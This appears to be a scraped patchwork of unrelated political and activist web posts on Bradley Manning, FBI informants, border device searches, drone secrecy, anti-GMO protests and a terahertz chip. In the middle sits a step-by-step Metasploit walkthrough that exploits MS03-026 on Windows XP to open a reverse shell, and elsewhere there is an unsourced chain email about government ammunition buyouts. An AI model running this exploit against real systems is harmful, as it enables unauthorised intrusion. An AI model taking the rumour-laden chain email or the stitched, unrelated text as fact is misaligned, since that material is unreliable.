Not a single person has been harmed by the release of this information. Defense Secretary Robert M. Gates has called the effect of WikiLeaks’ releases on U.S. foreign relations “fairly modest.” Yet the Obama administration has chosen to persecute the whistle-blower rather than prosecute the war criminals who were exposed. While the prosecution has declared it does not intend to seek the death penalty, they do seek to lock PFC Bradley Manning away for life, with the most ridiculous charge of ‘aiding the enemy,’ even though chat logs attributed to Bradley by the FBI clearly show intent only to inform the public and promote “discussion, debates, and reforms.”
Soldiers are promised fair treatment and a speedy trial under the Uniform Code of Military Justice (UCMJ). However, the soldiers responsible for PFC Manning’s care took it upon themselves to abuse him by keeping him locked up in solitary confinement for the first 10 months of his incarceration. During this time, Bradley was denied meaningful exercise, social interaction, sunlight, and on a number of occasions he was forced to stay completely naked. These conditions were unique to Bradley and are illegal even under US military law, as they amount to extreme pre-trial punishment. In March 2011, chief US State Department spokesperson PJ Crowley called PFC Manning’s treatment at the Quantico, Virginia, Marine Corps brig “ridiculous and counterproductive and stupid.” He was forced to resign shortly after admitting this. Since resigning, he has stated that the prosecution’s heavy-handed persecution of PFC Manning has undermined the government’s credibility.
Bradley’s treatment sparked a probe by the United Nations special rapporteur on torture, Juan Mendez. Mr. Mendez stated that he has been “frustrated by the prevarication of the US government with regard to my attempts to visit Mr. Manning.” After having his requests to visit Bradley repeatedly blocked, and after completing a fourteen month investigation, Mr. Mendez issued a statement saying that PFC Bradley Manning’s treatment has been “cruel and inhuman.”
It only took one week in April 2011 to have over a half million people sign a petition calling on President Obama to end the isolation and torture of Bradley Manning. The Obama administration’s ongoing persecution of Bradley Manning has served as “a chilling deterrent to other potential whistleblowers committed to public integrity,” and over 300 top legal scholars have declared that Bradley’s treatment was a violation of the Eighth Amendment’s prohibition against cruel and unusual punishment, as well as a violation of the Fifth Amendment’s guarantee against punishment without trial. Among the signatories is professor Laurence Tribe, a Harvard professor who taught President Obama. Professor Tribe was, until recently, a senior advisor to the US Justice Department.
Partially in response to public outcry, on April 21, 2011, Bradley was moved from Quantico to Fort Leavenworth, KS, where his conditions greatly improved. The very day he was moved, President Obama was surprised at a breakfast fundraiser by a group of protesters. At the end of the fundraiser, a member of the Bradley Manning Support Network, Logan Price, questioned him about Bradley’s situation. The President stated that “He [Bradley Manning] broke the law.” This pretrial declaration of guilt that has caused concern among legal experts, who argue it is clearly a case of ‘undue command influence’. President Obama is the highest ranking military commander, and soldiers follow his orders and his direction. By declaring PFC Bradley Manning guilty, he set the tone and direction of the subordinate military prosecution. It is now difficult for soldiers to express support for PFC Bradley Manning, who like many soldiers who follow the lead of their commander-in-chief, assume PFC Bradley Manning is guilty. Finally, reinforcing the assumption of Manning’s guilt, no charges were filed against any of the soldiers who took it upon themselves to abuse Bradley while he was under their supervision.
Bradley Manning has a growing list of supporters who want all the charges against him dropped. Among the supporters is the famous whistle-blower, Daniel Ellsberg, who leaked the Pentagon Papers in 1971. Recognizing the valor required to tell the truth, Ellsberg calls PFC Bradley Manning a hero and a patriot. We agree. Drop all the charges, and free PFC Bradley Manning.
We hope that you will join us as well. See what you can do to support justice in this historic time.
Here are some recommended articles with more information:
In my first installment in this series on professional hacking tools, we downloaded and installed Metasploit, the exploitation framework. Now, we will begin to explore the Metasploit Framework and initiate a tried and true hack.
Before we start hacking, let’s familiarize ourselves with Metasploit so that when I use certain terms, we all understand them to mean the same thing. When first looking at the Metasploit Framework, it can be a bit overwhelming with the various interfaces, options, utilities, and modules. Here we’ll try to make it understandable so that we can execute our first exploit.
Terminology
The following terminology is not only used within the Metasploit Framework, but throughout the professional hacking and penetration testing communities. As a result, any professional in this field should be familiar with these terms and be able to clearly distinguish them.
Exploit
Exploit is the means by which an attacker takes advantage of a flaw or vulnerability in a network, application, or service. The hacker uses this flaw or vulnerability in a way that the developer or engineer never intended, to achieve a desired outcome (e.g. root access). Some more common exploits that you’ve probably already heard of are SQL injections, buffer overflows, etc.
Payload
A payload is the program or code that is delivered to the victim system. Metasploit has pre-built payloads for this purpose included in the highly useful Meterpreter, or you can develop your own. This payload is designed to provide the attacker with some capability to manage or manipulate the target system for their particular needs.
Shellcode
This is a set of instructions used as a payload when the exploitation occurs. Shellcode is typically written in assembly language, but not necessarily always. It’s called “shellcode” because a command shell or other command console is provided to the attacker that can be used to execute commands on the victim’s machine.
Module
A module is a piece of software that can be used by the Metasploit Framework. These modules are interchangeable and give Metasploit its unique power. These modules might be exploit modules or auxiliary modules.
Listener
This is that component that listens for the connection from the hacker’s system to the target system. The listener simply handles the connection between these systems.
Show
Metasploit Framework has hundreds of modules and other utilities. As a result, you will not be able to remember them all. Fortunately, the show command can grab a listing of all modules, options, targets, etc. in your framework.
Now that we have the basics of Metasploit concepts and commands down, let’s hack a system!
Step 1 Getting Started
First, open a terminal in Linux.
One of the most reliable hacks is on the ubiquitous Windows XP system with the RPC DCOM. It’s a buffer overflow attack that enables the attacker to execute any code of their choice on the owned box (note Microsoft’s comment under impact of vulnerability). Microsoft identifies it as MS03-026 in their database of vulnerabilities. In our case, we will use it to open a reverse shell on our target system.
Open the the Metasploit console.
msfconsole
Be patient, it takes awhile for Metasploit to load all of its modules. The current version of Metasploit has 823 exploits and 250 payloads.
Step 2 Find the Exploit
Metasploit allows you to search using the search command. In our case, we are searching for a DCOM exploit, so we can simply type:
msf > search dcom
Step 3 Set the Exploit
Now let’s tell Metasploit what exploit we want to use. Type use and the name of our exploit, exploit/windows/dcerpc/ms03_026_dcom.
msf > use exploit/windows/dcerpc/ms03_026_dcom
Note that the prompt has changed and now reflects our chosen exploit.
Step 4 Set the Options
Now that we’ve chosen our exploit, we can ask Metasploit what our options are. By typing show options, Metasploit will list our options in executing this exploit.
msf > show options
Step 5 Set Remote Host
Metasploit will now ask us for the RHOST. This will be the IP address of the remote host or the machine we’re attacking. In our case, it’s 10.0.0.3. Use the actual IP address of the machine you are attacking. Tools such as nmap can help in identifying the IP address of the machine you are attacking. Notice in the picture above that Metasploit tells us that we will be using (binding) port 135.
msf > set RHOST 10.0.0.3
Step 6 Show Payloads
Next, we check to see what payloads are available for this exploit. Type show payloads at the Metasploit prompt:
msf > show payloads
Step 7 Set Payload
Now that we can see what payloads are available, we can select the generic/shell_reverse_tcp by using the Metasploit console set command. If successful, this will establish a remote shell on the target system that we can command.
msf > set PAYLOAD generic/shell_reverse_tcp
Step 8 Set Local Host
Now that we’ve chosen the exploit and the payload, we need to tell Metasploit the IP address of our attacking machine. In this example, our target system has an IP address of 10.0.0.6. Use the actual IP address of the system you are attacking. Tools such a nmap, can help you obtain IP addresses.
msf > set LHOST 10.0.0.6
Step 9 Exploit
Now we command Metasploit to exploit the system:
msf > exploit
Step 10 Open a Shell on the Hacked System
Type the command –I 1 to open a command shell on the XP system that will appear on your Metasploit console.
–I 1
To confirm that the command shell is on the Windows XP system, type dir to get a directory listing on the Windows XP system that you now own!
C: >dir
Congratulations! You have just hacked your first system using Metasploit!
In my upcoming lessons, we will look at hacking Linux systems and introduce you to the powerful Meterpreter, Metasploit’s proprietary payload.
This documentary explains how CIA pioneered, developed, manipulated prisoner abuse, sold drugs, changed regimes and killed millions of people worldwide
Secrets of the CIA documents exactly what the title suggests it would. With $50 Billion budget and over 25,000 people working for it, the CIA has more money and power than most developing countries and uses it to support genocidal dictators, shelter drug trafficking and cause much unnecessary bloodshed. Watch this documentary to get a good idea of what CIA does and supports. The Secrets of the CIA is based solidly on verifiable facts so you can be assured that everything the video reveals is true.
CHICAGO (Reuters) – Nearly 50 U.S. military veterans at an anti-NATO rally in Chicago threw their service medals into the street on Sunday, an action they said symbolized their rejection of the U.S.-led wars in Iraq and Afghanistan.
Some of the veterans, many wearing military uniform shirts over black anti-war t-shirts, choked back tears as they explained their actions. Others folded an American flag while a bugle played “Taps,” which is typically performed at U.S. military funerals.
“The medals are supposed to be for acts of heroism. I don’t feel like a hero. I don’t feel like I deserve them,” said Zach LaPorte, who served in Iraq in 2005 and 2006.
LaPorte, a 28-year-old mechanical engineer from Milwaukee, said he enlisted in the Army at 19 because he felt there were few other options. At the time, he could not afford to stay in college.
“I witnessed civilian casualties and civilians being arrested in what I consider an illegal occupation of a sovereign nation,” LaPorte said.
He said he was glad the United States had withdrawn its combat troops from Iraq, but said he did not believe the NATO military alliance was going to leave Afghanistan.
On Sunday, NATO Secretary-General Anders Fogh Rasmussen opened the two-day summit of the 26-member alliance saying there would be no hasty exit from Afghanistan.
A veteran from New York who only gave his name as Jerry said: “I don’t want any part of this anymore. I chose human life over war, militarism and imperialism.”
The veterans had hoped to present their medals to a NATO representative. The closest they could get was the fence ringing the McCormick Place convention center about a block from where U.S. President Barack Obama and other leaders were meeting. The veterans threw their medals toward the convention center.
Matt Howard, 29, who served in the Marines from 2001 to 2006, said the rate of suicides among veterans returning from the wars is high.
“These medals are not worth the cloth and steel they’re printed on. They’re representative of failed policies,” said Howard, a spokesman for Iraq Veterans Against the War.
Former U.S. Army Sergeant Alejandro Villatoro, 29, of Chicago, served during the Iraq 2003 invasion and in Afghanistan in 2011.
He said he suffers from post-traumatic stress syndrome and depression and gave back three medals – one “War on Terrorism” medal, one for participating in the Iraq war and a NATO medal from the Afghanistan war. He said he wants the war in Afghanistan to end.
“There’s no honor in these wars,” said Villatoro, before he threw away his medals. “There’s just shame.”
As the Occupy movement carries out massive May Day protests around the country, the FBI Joint Terrorism Task force is trumpeting the arrest of “self-proclaimed anarchists” and “terrorists” who allegedly conspired to destroy a bridge in Ohio. Integral to the development and advancement of this plot, however, were FBI agents themselves and an informant with a drug and robbery record.
Douglas L. Wright, 26; Brandon L. Baxter, 20; and Anthony Hayne, 35, Connor C. Stevens, 20, and Joshua S. Stafford, 23, were arrested by the FBI on April 30, just in time to make the announcement as the nation turns its attention to May Day protests.
The affidavit reveals a plot by the FBI that continues a pattern of behavior in “terrorism” investigations against political activists. Most importantly, undercover FBI agents helped shape the “plot,” offered advice on how and where to use explosives, and allegedly sold explosives to the activists.
Pervasive Use of Informants and Undercover FBI
The informant in the case has been working with the FBI since July 20, 2011, and has a criminal record including possession of cocaine, conviction for robbery, and four convictions for passing bad checks. (The FBI’s proclivity for using down-and-out criminals was a key issue in the “Operation Backfire” Earth Liberation Front cases. The lead arsonist and informant, Jacob Ferguson, had a heroin addiction, and is now back in prison on drug charges).
The informant and the others haphazardly talked about various plans, starting with the use of smoke grenades and destroying bank signs off the top of large buildings.
For instance, on April 10, 2012: ““…BAXTER explained that he does not know what to do with the explosives and he has never considered blowing anything up before.”
Conversation shifted to other outrageous plans. According to the affidavit, “WRIGHT joked that he would wear a suicide vest and walk in and blow himself up, but advised he would have to be very drunk.”
“The CHS [the informant] asked the others what it is they wanted to do… BAXTER said that they had never decided on the bridge, they were just throwing out options and they had never decided on anything.”
FBI Guidance
The defendants flitted between hyperbolic conversations -– some about destroying bank signs, some about destroying a boat, some about a bridge — and various spy tactics such as secret email accounts, wiping computer drives, and disrupting surveillance. At every step of the way, the informant (who was paid nearly $6,000, plus expenses) and undercover FBI agents were there to correct course.
At one point Wright asked the undercover FBI agent “if there was any work he could do… to pay for the items he was going to purchase” from the agent. Later, Connor Stevens told Wright that he no longer wanted to be part of the plan, but wanted to know if the informant might hire him to do some work on his house.
At another point, Wright told the informant that he and others thought one of the individuals involved was an undercover cop (which he was). To allay his fears, the informant said he would help provide the explosives.
Clamoring to Thwart “Terrorist Plots”
U.S. Attorney Dettelbach called this a violent terrorist plot, and said: “The defendants stand charged based not upon any words or beliefs they might espouse, but based upon their own plans and actions.”
What’s troubling is that the government has had a heavy hand in creating the very plot it thwarted.
And on top of that, the defendants, by the admission of the FBI, said repeatedly that they had no intention of harming anyone. At one point Baxter and Wright “stated they don’t want people to think they are terrorists.”
This isn’t an isolated instance.
The criminal complaint reads like the spitting image of the case of Eric McDavid, who was coaxed by an undercover FBI operative named “Anna.” In that case, like this one, the FBI supplied bomb making recipes, bomb making materials, and attempts to distill activist boasting and hyperbole into a coherent plan.
McDavid did nothing, and was arrested on conspiracy charges, like these defendants have been. As readers of this site know, conspiracy charges are the fall-back for the government when there is not enough evidence to get anything else to “stick.”
Demonization of Anarchism
In addition to a continuation of undercover informants and FBI-manufactured plots, this case also reflects on on-going focus on demonizing anarchists.
The government’s press release proclaims that the defendants are “self-proclaimed anarchists.” The affidavit notes that they attended anarchist protests and carried anarchist flags.
The affidavit also says that the defendants talked about anarchists “rioting and destroying each city” that holds May Day protests, and that it will be “off the hook.”
Demonizing anarchists has gone one for over a century, of course, but in recent years the rhetoric has dovetailed with “War on Terrorism” hysteria.
For example, in Scott Demuth’s case, the government argued that: “Defendant’s writings, literature, and conduct suggest that he is an anarchist and associated with the ALF movement. Therefore, he is a domestic terrorist.”
It should come as no surprise, then, that the announcement of these arrests was carefully unveiled yesterday, so that the top news story this May Day would not be about how anarchists are preventing home foreclosures, starting community gardens, teaching collective organizing skills, and re-framing class consciousness, but about how they were part of an FBI-guided “terrorist plot.”
On March 15, over 1,500 beekeepers and anti-GMO protesters marched through the streets of Warsaw, depositing thousands of dead bees on the steps of the Ministry of Agriculture in protest of genetically modified foods and their pesticides which are together largely responsible for the killing off of bees, butterflies, moths and other beneficial pollinators in great numbers.
Later that day the Minister of Agriculture, Marek Sawicki, announced plans to ban MON810, which has already produced millions of hectares of pesticide resistant “superweeds” in the US.
The Polish Beekeepers Association organized the protest, joining forces with International Coalition to Protect the Polish Countryside (ICPPC) and the Coalition for a GMO Free Poland. Targeting Monsanto’s MON810 GM corn in particular, they also called for a complete ban on all genetically engineered crops as well as the pesticides found to be most damaging to the environment (and particularly to bees).
In 2008, the Polish Parliament banned GM feed, including both the planting and importing of GM crops. “Despite this progressive step,” reports Food Travels, “the European Commission has refused to accept regional bans on GMOs, keeping Polish farmers, producers, and activists on the offensive.”
Regardless, says the ICPPC, “None of the nine European Union countries that have already prohibited MON 810 did so by asking the permission of the EU.”
There was a great variety of attire as beekeepers dressed in their work bee suits and masks and ran their hive smoke guns as they marched, many wore yellow jackets with the famous Einstein quote, and many more original signs, props, and costumes. Go here for more photos.
The ICPPC is asking Polish residents to write Minister of Agriculture Marek Sawicki, demanding that he implement an immediate moratorium on GM crops, without waiting for EU approval.
Subject: Government buying out all the 5.56 Military surplus ammo and is telling ammo dealers to stop selling to their vendors and civilians.
I have been calling allot of ammo distributors and ALL of them are telling me that our government is all the 5.56-.223 cal military surplus ammo. And their also telling the ammo distributors stop selling the ammo to civilians and their vendors because the government is buying it all up from everyone they can. I have also spoken with theses ammo dealers and they told me that the 5.56 and .223 ammo is going way up in price.
For instance…I paid $149.00 for federal surplus 440 rounds of steal core and now at the gun show today it was selling for $440.00 for 420 rounds. I have checked and ALLOT of places online are out of the Military surplus ammo by federal. M193 and M855 SS109 ammo. I did find one place still carrying both these ammo’s and good prices still, but their the only place I could find. If interested let me know and Ill forward the info.
I was also told by the same ammo dealers that the government is going to buy all the 9mm and .45 ammo up, so hurry and buy while you can at the lower prices while still available. Guess if they won’t take our guns because they figure that there are some many out there, they will just buy all most popular military calibers. Can’t shoot a gun with no ammo…stock up now while you still can.
They also said the government will continue to purchase all the ammo through the presidential election and they will continue to until the president tells them to stop. And if obama gets reelected instead of rejected, you know he wont stop the purchasing of all the ammo mentioned above.
Today Andrew Rosenthal of The New York Timespublished a thoughtful columndiscussing the untenable position taken by the government in response to the ACLU’s two Freedom of Information Act lawsuits seeking information about the CIA’s targeted killing drone strike program, including its targeting of U.S. citizens. As Rosenthal explains, “the government is blocking any consideration of these petitions with one of the oldest, and most pathetic, dodges in the secrecy game. It says it cannot confirm or deny the existence of any drone strike policy or program.”
Rosenthal goes on to highlight the reasons why the government’s position is untenable:
That would be unacceptable under any condition, but it’s completely ridiculous when you take into account the fact that a) there have been voluminous news accounts of drone strikes, including the one on Mr. Awlaki, and b) pretty much every top government official involved in this issue has talked about the drone strikes in public.
He also highlights the arguments made in the ACLU’s latest legal brief in the cases, excerpting from our “13 pages of examples of how ‘the government has already specifically and officially acknowledged the program that the CIA now says is secret.'”
Perhaps most telling is Rosenthal’s comment about how little progress we have made since the worst secrecy abuses of the Bush era:
Governments have good reasons for keeping secrets – to protect soldiers in battle, or nuclear launch codes, or the identities of intelligence sources, undercover agents and witnesses against the mob. (Naturally that’s not an exhaustive list.) Governments also have bad reasons for keeping secrets – to avoid embarrassment, evade oversight or escape legal accountability.
The Bush administration kept secrets largely for bad reasons: It covered up its torture memos, the kidnapping of innocent foreign citizens, illegal wiretapping and other misdeeds. Barack Obama promised to bring more transparency to Washington in the 2008 campaign, but he has failed to do that. In some ways, his administration is even worse than the Bush team when it comes to abusing the privilege of secrecy.
He concludes:
So this is not a secret program, but the government continues to hide behind the secrecy shield to avoid turning over the legal document justifying (or at least rationalizing) it. It’s even using the “can’t confirm or deny” fabrication about the existence of the document itself.
My guess is that the Obama administration just wants to avoid public disclosure, scrutiny and accountability. I’d ask someone at the Justice Department, but they wouldn’t be able to tell me, because it’s a secret.
Rosenthal’s column joins the chorus of voices calling for greater transparencyaround targeted killing and for a sensible government response to the ACLU’s FOIA requests. The government must provide the public with the information it needs to assess the legality and wisdom of the CIA’s global targeted killing campaign.
The Feds raid the home of unofficial Anonymous spokesperson Barrett Brown.
They’re after his Twitter records, chat logs, IRC conversations, his computer, and apparently everything else, according to the search warrant obtained by BuzzFeed.
Last month, the FBI raided the Dallas home of Barrett Brown, the journalist and unofficial spokesperson for the Internet hacktivist group Anonymous.
According to the search warrant, the agents were after any information from Brown involving a “conspiracy to access without authorization computers,” one of three serious charges listed in the document.
The Feds seized Brown’s computer and cellphone, searched his parent’s home as well, and demanded his Twitter records, chat logs, IRC conversations, Pastebin info, all his Internet browsing activity, and almost any form of electronic communications Brown conducted.
The warrant, exclusively obtained by BuzzFeed, suggests the government is primarily after information related to Anonymous and the hacking group Lulzec.
The authorities also appear to be interested in info on two private intelligence contracting firms, HBGary and EndGame Systems, two companies Brown has frequently clashed with and criticized on a website he founded called Echelon2.
Brown, a 30 year old journalist who has written for Vanity Fair and the Guardian, is perhaps the most high profile target thus far in the FBI’s investigation into a series of hacks that have shaken the corporate and defense establishment.
Brown, currently at work on a book about Anonymous, believes he’s being wrongly investigated. “I haven’t been charged with anything at this point, although there’s a sealed affidavit to which neither I nor my attorney have access,” he emailed BuzzFeed. “I suspect that the FBI is working off of incorrect information.”
Scanner uses ‘terahertz’ spectrum – between infrared and microwaves
Can see through walls, wood and plastics
Doctors could use small, cheap devices to see tumours inside body
Comic-book superpowers could become reality as scientists have designed a phone that works as ‘X-Ray spex’.
A hi-tech chip allows a phone to ‘see through’ walls, wood and plastics – and (although the researchers are coy about this) through fabrics such as clothing.
Doctors could also use the imagers to look inside the body for cancer tumours without damaging X-Rays or large, expensive MRI scanners.
A hi-tech chip allows a phone to 'see through' walls, wood and plastics - and (although the researchers are coy about this) through fabrics such as clothing)
Close up of a CMOS chip - a new version of the commonly used chips would allow users to capture images 'through' walls and even inside the human body
The researchers claim it could allow DIYers to detect studs within walls, or allow businesses to detect counterfeit money.
At present, it’s designed to work over a short range – and works with a normal-sized microchip that could fit into phones or other handheld electronics.
The team’s research involves tapping into an unused range in the electromagnetic spectrum.
But the terahertz band of the electromagnetic spectrum, one of the wavelength ranges that falls between microwave and infrared, has not been accessible for most consumer devices.
‘We’ve created approaches that open a previously untapped portion of the electromagnetic spectrum for consumer use and life-saving medical applications,’ said Dr. Kenneth O, professor of electrical engineering at UT Dallas.
‘The terahertz range is full of unlimited potential that could benefit us all.’
X-ray spex? At present, it's designed to work over a short range - and works with a normal-sized microchip that could fit into phones or other handheld electronics
Using the new approach, images can be created with signals operating in the terahertz (THz) range without having to use several lenses inside a device. This could reduce overall size and cost.
The second advance that makes the findings applicable for consumer devices is the technology used to create the microchip.
Chips manufactured using CMOS (Complementary Metal-Oxide Semiconductor) technology form the basis of many consumer electronic devices used in daily life such as personal computers, smart phones, high definition TV and game consoles.
‘CMOS is affordable and can be used to make lots of chips,’ Dr. O said. ‘The combination of CMOS and terahertz means you could put this chip and receiver on the back of a cellphone, turning it into a device carried in your pocket that can see through objects.’
Due to privacy concerns, Dr. O and his team are focused on uses in the distance range of less than four inches.
Consumer applications of such technology could range from finding studs in walls to authentication of important documents. Businesses could use it to detect counterfeit money.
Manufacturing companies could apply it to process control.
There are also more communication channels available in terahertz than the range currently used for wireless communication, so information could be more rapidly shared at this frequency.
Terahertz can also be used for imaging to detect cancer tumors, diagnosing disease through breath analysis, and monitoring air toxicity.
‘There are all kinds of things you could be able to do that we just haven’t yet thought about,’ said Dr. O, holder of the Texas Instruments Distinguished Chair. The research was presented at the most recent International Solid-State Circuits Conference (ISSCC). The team will work next to build an entire working imaging system based on the CMOS terahertz system.
By Rob Waugh
PUBLISHED: 02:50 EST, 19 April 2012 | UPDATED: 03:03 EST, 19 April 2012
One of the more extreme government abuses of the post-9/11 era targets U.S. citizens re-entering their own country, and it has received far too little attention. With no oversight or legal framework whatsoever, the Department of Homeland Security routinely singles out individuals who are suspected of no crimes, detains them and questions them at the airport, often for hours, when they return to the U.S. after an international trip, and then copies and even seizes their electronic devices (laptops, cameras, cellphones) and other papers (notebooks, journals, credit card receipts), forever storing their contents in government files. No search warrant is needed for any of this. No oversight exists. And there are no apparent constraints on what the U.S. Government can do with regard to whom it decides to target or why.
In an age of international travel — where large numbers of citizens, especially those involved in sensitive journalism and activism, frequently travel outside the country — this power renders the protections of the Fourth Amendment entirely illusory. By virtue of that amendment, if the government wants to search and seize the papers and effects of someone on U.S. soil, it must (with some exceptions) first convince a court that there is probable cause to believe that the objects to be searched relate to criminal activity and a search warrant must be obtained. But now, none of those obstacles — ones at the very heart of the design of the Constitution — hinders the U.S. government: now, they can just wait until you leave the country, and then, at will, search, seize and copy all of your electronic files on your return. That includes your emails, the websites you’ve visited, the online conversations you’ve had, the identities of those with whom you’ve communicated, your cell phone contacts, your credit card receipts, film you’ve taken, drafts of documents you’re writing, and anything else that you store electronically: which, these days, when it comes to privacy, means basically everything of worth.
This government abuse has received some recent attention in the context of WikiLeaks. Over the past couple of years, any American remotely associated with that group — or even those who have advocated on behalf of Bradley Manning — have been detained at the airport and had their laptops, cellphones and cameras seized: sometimes for months, sometimes forever. But this practice usually targets people having nothing to do with WikiLeaks.
A 2011 FOIA request from the ACLU revealed that just in the 18-month period beginning October 1, 2008, more than 6,600 people — roughly half of whom were American citizens — were subjected to electronic device searches at the border by DHS, all without a search warrant. Typifying the target of these invasive searches is Pascal Abidor, a 26-year-old dual French-American citizen and an Islamic Studies Ph.D. student who was traveling from Montreal to New York on an Amtrak train in 2011 when he was stopped at the border, questioned by DHS agents, handcuffed, taken off the train and kept in a holding cell for several hours before being released without charges; those DHS agents seized his laptop and returned it 11 days later when, the ACLU explains, “there was evidence that many of his personal files, including research, photos and chats with his girlfriend, had been searched.” That’s just one case of thousands, all without any oversight, transparency, legal checks, or any demonstration of wrongdoing.
* * * * *
But the case of Laura Poitras, an Oscar-and Emmy-nominated filmmaker and intrepid journalist, is perhaps the most extreme. In 2004 and 2005, Poitras spent many months in Iraq filming a documentary that, as The New York Times put it in its review, “exposed the emotional toll of occupation on Iraqis and American soldiers alike.” The film, “My Country, My Country,” focused on a Sunni physician and 2005 candidate for the Iraqi Congress as he did things like protest the imprisonment of a 9-year-old boy by the U.S. military. At the time Poitras made this film, Iraqi Sunnis formed the core of the anti-American insurgency and she spent substantial time filming and reporting on the epicenter of that resistance. Poitras’ film was released in 2006 and nominated for the 2007 Academy Award for Best Documentary.
In 2010, she produced and directed “The Oath,” which chronicled the lives of two Yemenis caught up in America’s War on Terror: Salim Hamdan, the accused driver of Osama bin Laden whose years-long imprisonment at Guantanamo led to the 2006 Supreme Court case, bearing his name, that declared military commissions to be a violation of domestic and international law; and Hamdan’s brother-in-law, a former bin Laden bodyguard. The film provides incredible insight into the mindset of these two Yemenis. TheNYT feature on “The Oath” stated that, along with “My Country, My Country,” Poitras has produced ”two of the most searching documentaries of the post-9/11 era, on-the-ground chronicles that are sensitive to both the political and the human consequences of American foreign policy.” At the 2010 Sundance film festival, “The Oath” won the award for Best Cinematography.
Poitras’ intent all along with these two documentaries was to produce a trilogy of War on Terror films, and she is currently at work on the third installment. As Poitras described it to me, this next film will examine the way in which The War on Terror has been imported onto U.S. soil, with a focus on the U.S. Government’s increasing powers of domestic surveillance, its expanding covert domestic NSA activities (includingconstruction of a massive new NSA facility in Bluffdale, Utah), its attacks on whistleblowers, and the movement to foster government transparency and to safeguard Internet anonymity. In sum, Poitras produces some of the best, bravest and most important filmmaking and journalism of the past decade, often exposing truths that are adverse to U.S. government policy, concerning the most sensitive and consequential matters (a 2004 film she produced for PBS on gentrification of an Ohio town won the Peabody Award and was nominated for an Emmy).
But Poitras’ work has been hampered, and continues to be hampered, by the constant harassment, invasive searches, and intimidation tactics to which she is routinely subjected whenever she re-enters her own country. Since the 2006 release of “My Country, My Country,” Poitras has left and re-entered the U.S. roughly 40 times. Virtually every timeduring that six-year-period that she has returned to the U.S., her plane has been met by DHS agents who stand at the airplane door or tarmac and inspect the passports of every de-planing passenger until they find her (on the handful of occasions where they did not meet her at the plane, agents were called when she arrived at immigration). Each time, they detain her, and then interrogate her at length about where she went and with whom she met or spoke. They have exhibited a particular interest in finding out for whom she works.
She has had her laptop, camera and cellphone seized, and not returned for weeks, with the contents presumably copied. On several occasions, her reporter’s notebooks were seized and their contents copied, even as she objected that doing so would invade her journalist-source relationship. Her credit cards and receipts have been copied on numerous occasions. In many instances, DHS agents also detain and interrogate her in the foreign airport before her return, on one trip telling her that she would be barred from boarding her flight back home, only to let her board at the last minute. When she arrived at JFK Airport on Thanksgiving weekend of 2010, she was told by one DHS agent — after she asserted her privileges as a journalist to refuse to answer questions about the individuals with whom she met on her trip — that he “finds it very suspicious that you’re not willing to help your country by answering our questions.” They sometimes keep her detained for three to four hours (all while telling her that she will be released more quickly if she answers all their questions and consents to full searches).
Poitras is now forced to take extreme steps — ones that hamper her ability to do her work — to ensure that she can engage in her journalism and produce her films without the U.S. Government intruding into everything she is doing. She now avoids traveling with any electronic devices. She uses alternative methods to deliver the most sensitive parts of her work — raw film and interview notes — to secure locations. She spends substantial time and resources protecting her computers with encryption and password defenses. Especially when she is in the U.S., she avoids talking on the phone about her work, particularly to sources. And she simply will not edit her films at her home out of fear — obviously well-grounded — that government agents will attempt to search and seize the raw footage.
That’s the climate of fear created by the U.S. Government for an incredibly accomplished journalist and filmmaker who has never been accused, let alone convicted, of any wrongdoing whatsoever. Indeed,documents obtained from a FOIA request show that DHS has repeatedly concluded that nothing incriminating was found from its border searches and interrogations of Poitras. Nonetheless, these abuses not only continue, but escalate, after six years of constant harassment.
* * * * *
Poitras has been somewhat reluctant to speak publicly about the treatment to which she is subjected for fear that doing so would further impede her ability to do her work (the NYT feature on “The Oath” included some discussion of it). But the latest episode, among the most aggressive yet, has caused her to want to vociferously object.
On Thursday night, Poitras arrived at Newark International Airport from Britain. Prior to issuing her a boarding pass in London, the ticket agent called a Customs and Border Patrol (CBP) agent (Yost) who questioned her about whom she met and what she did. Upon arriving in Newark, DHS/CBP agents, as always, met her plane, detained her, and took her to an interrogation room. Each time this has happened in the past, Poitras has taken notes during the entire process: in order to chronicle what is being done to her, document the journalistic privileges she asserts and her express lack of consent, obtain the names of the agents involved, and just generally to cling to some level of agency.
This time, however, she was told by multiple CBP agents that she was prohibited from taking notes on the ground that her pen could be used as a weapon. After she advised them that she was a journalist and that her lawyer had advised her to keep notes of her interrogations, one of them, CBP agent Wassum, threatened to handcuff her if she did not immediately stop taking notes. A CBP Deputy Chief (Lopez) also told her she was barred from taking notes, and then accused her of “refusing to cooperate with an investigation” if she continued to refuse to answer their questions (he later clarified that there was no “investigation” per se, but only a “questioning”). Requests for comment from the CBP were not returned as of the time of publication.
Just consider the cumulative effect of this six years of harrassment and invasion. Poitras told me that it is “very traumatizing to come home to your own country and have to go through this every time,”and described the detentions, interrogations and threats as “infuriating,” “horrible” and “intimidating.” She told me that she now “hates to travel” and avoids international travel unless it is absolutely necessary for her work. And as she pointed out, she is generally more protected than most people subjected to similar treatment by virtue of the fact that she is a known journalist with both knowledge of her rights and the ability to publicize what is done to her. Most others are far less able to resist these sorts of abuses. But even for someone in Poitras’ position, this continuous unchecked government invasion is chilling in both senses of the word: it’s intimidating in its own right, and deters journalists and others from challenging government conduct.
* * * * *
As is true for so many abuses of the Surveillance State and assaults on basic liberties in the post-9/11 era, federal courts have almost completely abdicated their responsibility to serve as a check on these transgressions. Instead, federal judges have repeatedly endorsed the notion that the U.S. Government can engage in the most invasive border searches of citizens, including seizures and copying of laptops, without any reasonable suspicion of wrongdoing whatsoever, let alone probable cause.
That has happened in part because federal courts have become extremely submissive to assertions of Executive authority in the post-9/11 era, particularly when justified in the name of security. It’s also in part because anyone with a record of anti-authoritarianism or a willingness to oppose unrestrained government power, with very rare exception, can no longer get appointed to the federal bench; instead, it’s an increasingly homogeneous lot with demonstrated fealty to institutional authority. And it’s also in part because many life-tenured federal judges have been cloistered on the bench for decades, are technologically illiterate, and thus cannot apprehend the basic difference between having your suitcase searched at the airport and having the contents of your laptop and cellphone copied and stored by the U.S. Government.
One potentially important and encouraging exception to this trend was a ruling two weeks ago by U.S. District Judge Denise Casper, an Obama-appointed judge in the District of Massachusetts. As I’ve reported previously, David House, an activist who helped found the Bradley Manning Support Network, was detained by DHS when returning from a vacation in Mexico and had all of his electronic devices, including his laptop, seized; those devices were returned to him after almost two months only after he retained the ACLU of Massachusetts to demand their return. The ACLU then represented him in a lawsuit he commenced against the U.S. Government, alleging that his First and Fourth Amendment rights were violated by virtue of being targeted for his political speech and advocacy.
